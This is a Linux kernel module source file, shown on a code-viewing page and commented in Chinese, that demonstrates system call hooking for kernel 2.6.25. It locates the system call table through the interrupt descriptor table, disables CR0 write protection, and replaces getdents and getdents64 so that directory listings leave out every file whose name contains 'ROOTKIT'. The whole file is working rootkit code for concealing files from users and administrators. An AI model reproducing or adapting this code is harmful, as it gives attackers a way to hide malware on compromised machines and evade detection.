📄 hook_sys_call.c
字号:
/* * 新版本下的Hook演示: * 隐藏文件名中包含 HIDE_FILE 定义字样的文件 * * 写系统调用表前要清CR0内存保护位,否则会发生段错误 * * 在 Fedora Core 8 上开发,Linux内核版本:2.6.25.4 * */#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/types.h>#include <linux/stddef.h>#include <linux/unistd.h>#include <linux/version.h>#include <linux/string.h>#include <linux/mm.h>#include <linux/slab.h>#include <linux/sched.h>#include <linux/in.h>#include <linux/skbuff.h>#include <linux/netdevice.h>#include <linux/dirent.h>#include <asm/processor.h>#include <asm/uaccess.h>#include <asm/unistd.h>#include <linux/proc_fs.h>#define HIDE_FILE "ROOTKIT"struct idt_descriptor { unsigned short off_low; unsigned short sel; unsigned char none, flags; unsigned short off_high;};void ** sys_call_table;void *get_system_call(void) { unsigned char idtr[6]; unsigned long base; struct idt_descriptor desc; asm ("sidt %0" : "=m" (idtr)); base = *((unsigned long *) &idtr[2]); // 中断描述符表的第0x80项是system_call函数的 memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); return ((void *) ((desc.off_high << 16) + desc.off_low));}void *get_sys_call_table(void *system_call) { unsigned char *p; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; p += 3; return ((void *) *((unsigned long *) p));}asmlinkage long (*old_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);asmlinkage long (*old_getdents64)(unsigned int fd, struct dirent64 *dirp, unsigned int count);asmlinkage long new_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { struct dirent *td1, *td2; long ret, tmp; unsigned long nwarm; short int move_flag; //printk("Hooked function new_getdents64\n"); // 调用原始的系统调用,下面对返回结果进行过滤 ret = (*old_getdents)(fd, dirp, count); if (!ret) return (ret); // 分配内核空间,并把用户空间的数据拷贝到内核空间 td2 = (struct dirent *) kmalloc(ret, GFP_KERNEL); __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; move_flag = 1; if (strstr(td1->d_name, HIDE_FILE) != NULL) { //printk("Here i find the string %s\n", td1->d_name); // 在这里清除相关的信息 ret -= td1->d_reclen; move_flag = 0; if (tmp) memmove(td1, (char *) td1 + td1->d_reclen, tmp); } if ((tmp) && (move_flag)) td1 = (struct dirent *) ((char *) td1 + td1->d_reclen); } // 将过滤后的数据拷贝回用户空间 nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return (ret);}asmlinkage long new_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long nwarm; short int move_flag; //printk("Hooked function new_getdents64\n"); // 调用原始的系统调用,下面对返回结果进行过滤 ret = (*old_getdents64)(fd, dirp, count); if (!ret) return (ret); // 分配内核空间,并把用户空间的数据拷贝到内核空间 td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; move_flag = 1; if (strstr(td1->d_name, HIDE_FILE) != NULL) { //printk("Here i find the string %s\n", td1->d_name); // 在这里清除相关的信息 ret -= td1->d_reclen; move_flag = 0; if (tmp) memmove(td1, (char *) td1 + td1->d_reclen, tmp); } if ((tmp) && (move_flag)) td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } // 将过滤后的数据拷贝回用户空间 nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return (ret);}// Windwos下恢复SSDT也是这么做的:清保护位;写;恢复保护位void clear_cr0bit17(void){ asm ("pushl %eax \n" "movl %cr0, %eax \n" "andl $0x0fffeffff, %eax \n" "movl %eax, %cr0 \n" "popl %eax");}void reset_cr0bit17(void){ asm ("pushl %eax \n" "movl %cr0, %eax \n" "orl $0x10000, %eax \n" "movl %eax, %cr0 \n" "popl %eax");}static int __init init_hook(void){ void *system_call; system_call = get_system_call(); sys_call_table = get_sys_call_table(system_call); printk("Address of system_call: %x\n", (unsigned int)system_call); printk("Address of sys_call_table: %x\n", (unsigned int)sys_call_table); old_getdents = sys_call_table[__NR_getdents]; old_getdents64 = sys_call_table[__NR_getdents64]; clear_cr0bit17(); sys_call_table[__NR_getdents] = new_getdents; sys_call_table[__NR_getdents64] = new_getdents64; reset_cr0bit17(); return 0;}static void __exit exit_hook(void){ clear_cr0bit17(); sys_call_table[__NR_getdents] = old_getdents; sys_call_table[__NR_getdents64] = old_getdents64; reset_cr0bit17();}module_init(init_hook);module_exit(exit_hook);MODULE_LICENSE("GPL");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -